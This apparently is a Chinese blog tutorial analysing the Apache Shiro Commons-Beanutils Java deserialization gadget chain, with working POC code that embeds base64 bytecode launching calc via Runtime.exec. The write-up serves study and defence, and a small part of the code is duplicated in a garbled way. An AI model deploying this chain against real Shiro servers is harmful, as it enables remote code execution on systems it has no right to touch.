• [Java反序列化]—Shiro反序列化(三)


    前言

    前篇通过CC链加载动态字节码进行了代码执行,但这种方式是需要我们自身加入CC依赖的,有很大的局限性。所以本篇就对shiro的原生依赖CommonsBeanutils的利用进行分析

    前置知识

    JavaBean

    在了解CommonsBeanutils前先了解下JavaBean

    定义

    类必是具体的和公共的,并且具有无参数的构造器。JavaBean 通过提供符合一致性设计模式的公共方法将内部域暴露成员属性,set和get方法获取。(大概意思就是必须是一个公开类,并且有无参构造器和对应的setget方法)

    Demo

    就类似于这种,公开类、有无参构造器、有对应属性的set或、get方法

    public class Person {
        public String name;
        public int age;
    
        public Person() {
        }
        public Person(String name, int age) {
            this.name = name;
            this.age = age;
        }
    
        public String getName() {
            return name;
        }
    
        public int getAge() {
            return age;
        }
    
        public void setName(String name) {
            this.name = name;
        }
    
        public void setAge(int age) {
            this.age = age;
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27

    Commons-Beanutils

    commons-beanutils是应用于javabean的工具,他提供了一种动态调用getter的方法PropertyUtils.getProperty

    getName()调用方式

    Person person = new Person("Sentiment",18);
    System.out.println(person.getName());
    
    • 1
    • 2

    PropertyUtils.getProperty方式

    Person person = new Person("Sentiment",18);
    System.out.println(PropertyUtils.getProperty(person,"name"));
    
    • 1
    • 2

    起初运行时报错java.lang.NoClassDefFoundError: org/apache/commons/logging/LogFactory,加个maven依赖就好了

    <dependency>
    	<groupId>commons-logging</groupId>
    	<artifactId>commons-logging</artifactId>
    	<version>1.2</version>
    </dependency>
    
    • 1
    • 2
    • 3
    • 4
    • 5

    这里传入的是name,之后getProperty(),方法会将name首字母大写—>Name,在加上get前缀,所以最后调用的是getName()

    而这种方式,其实不光可以调用getter,而是可以调用任意方法,无论他有没有即:加入我们传入aaa则会调用getAaa()

    结合前边的TemplatesImpl,其中getOutputProperties是get开头的,便可以逐个执行动态加载字节码文件了

    TemplatesImpl.getOutputProperties() ->
    TemplatesImpl.newTransformer() ->
    TemplatesImpl.getTransletInstance() ->
    TemplatesImpl.defineTransletClasses() ->
    TransletClassLoader.defineClass
    
    • 1
    • 2
    • 3
    • 4
    • 5

    流程分析

    了解完getProperty方法,大体看下实现流程

    跟进getProperty(),有调用了另一个类的getProperty()

    public static Object getProperty(Object bean, String name)
            throws IllegalAccessException, InvocationTargetException,
            NoSuchMethodException {
    
        return (PropertyUtilsBean.getInstance().getProperty(bean, name));
    
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    跟进,调用了getNestedProperty()

    public Object getProperty(Object bean, String name)
            throws IllegalAccessException, InvocationTargetException,
            NoSuchMethodException {
    
        return (getNestedProperty(bean, name));
    
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    再跟进getNestedProperty(),下方会检测传入类型是否为map、索引,不是所以走到了getSimpleProperty()

    在这里插入图片描述

    跟进之后最后会调用invokeMethod()

    在这里插入图片描述

    它会调用我们传入的bean对象的get方法

    在这里插入图片描述

    所以这里就可以联想到TemplatesImpl#getOutputProperties() ,实现形式:

    System.out.println(PropertyUtils.getProperty(templates,"outputProperties"));
    
    • 1

    所以这里就可以用CC3链结合做个测试,确实可以执行

    POC:

    package shiro;
    
    
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import org.apache.commons.beanutils.PropertyUtils;
    
    import javax.xml.transform.Templates;
    import java.lang.reflect.Field;
    import java.util.Base64;
    
    public class BeanTest {
        public static void main(String[] args) throws Exception {
            Templates templates = new TemplatesImpl();
            byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
            setFieldValue(templates,"_name","Sentiment");
            setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
            setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
            templates.newTransformer();
            System.out.println(PropertyUtils.getProperty(templates,"outputProperties"));
    
        }
        public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
            Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj,value);
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28

    下面就是找一条反序列化的利用方式了

    还是回溯法看谁调用了getProperty(),在BeanComparator.java中的compare()中发现调用,并且两个参数都可控

    在这里插入图片描述

    而在CC2这条链的优先队列类PriorityQueue的反序列化readObject()方法经过一级级的调用后,最终会调用compare()

    在这里插入图片描述

    所以整条链也就出来了

    PriorityQueue.readObject() ->
    BeanComparator.compare() ->
    PropertyUtils.getProperty() ->
    TemplatesImpl.getOutputProperties() ->
    TemplatesImpl.newTransformer() ->
    defineClass.newInstance()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    POC

    package shiro;
    
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import org.apache.commons.beanutils.BeanComparator;
    import org.apache.commons.collections4.comparators.TransformingComparator;
    import org.apache.commons.collections4.functors.ConstantTransformer;
    
    import javax.xml.transform.Templates;
    import java.io.*;
    import java.lang.reflect.Field;
    import java.util.Base64;
    import java.util.PriorityQueue;
    
    public class shiroCB {
        public static void main(String[] args) throws Exception {
            //CC3
            Templates templates = new TemplatesImpl();
            byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
            setFieldValue(templates,"_name","Sentiment");
            setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
            
            //Commons-Beanutils
            BeanComparator beanComparator = new BeanComparator("outputProperties");
    
            //CC2
            TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer<>(1));
    
            PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
            priorityQueue.add(templates);
            priorityQueue.add(2);
    
            setFieldValue(priorityQueue,"comparator",beanComparator);
    
            serialize(priorityQueue);
            unserialize("1.txt");
        }
        public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
            Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj,value);
        }
        public static void serialize(Object obj) throws IOException {
            ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
            out.writeObject(obj);
        }
    
        public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
            ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
            Object o = In.readObject();
            return o;
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52

    ShiroCB利用

    Commons-Beanutils链构造好后,shiro中直接调用即可
    
    ws IOException, ClassNotFoundException{
            ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
            Object o = In.readObject();
            return o;
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    ShiroCB利用

    Commons-Beanutils链构造好后,shiro中直接调用即可

    在这里插入图片描述

  • 相关阅读:
    文件系统.
    计算机毕业设计基于Python实现的高校学生生活信息交互平台
    ssm+mysql实现的JavaWeb酒店管理系统
    济宁市中考报名照片要求及手机拍照采集证件照方法
    利用numpy库定义一个等比数列:logspace()函数
    基于SpringBoot的垃圾分类管理系统
    除静电离子风棒的工作原理及应用
    Flowable 工作流 删除任务
    济南软件著作权申请流程
    数星星-树状数组(POJ2352)
  • 原文地址:https://blog.csdn.net/weixin_54902210/article/details/125513071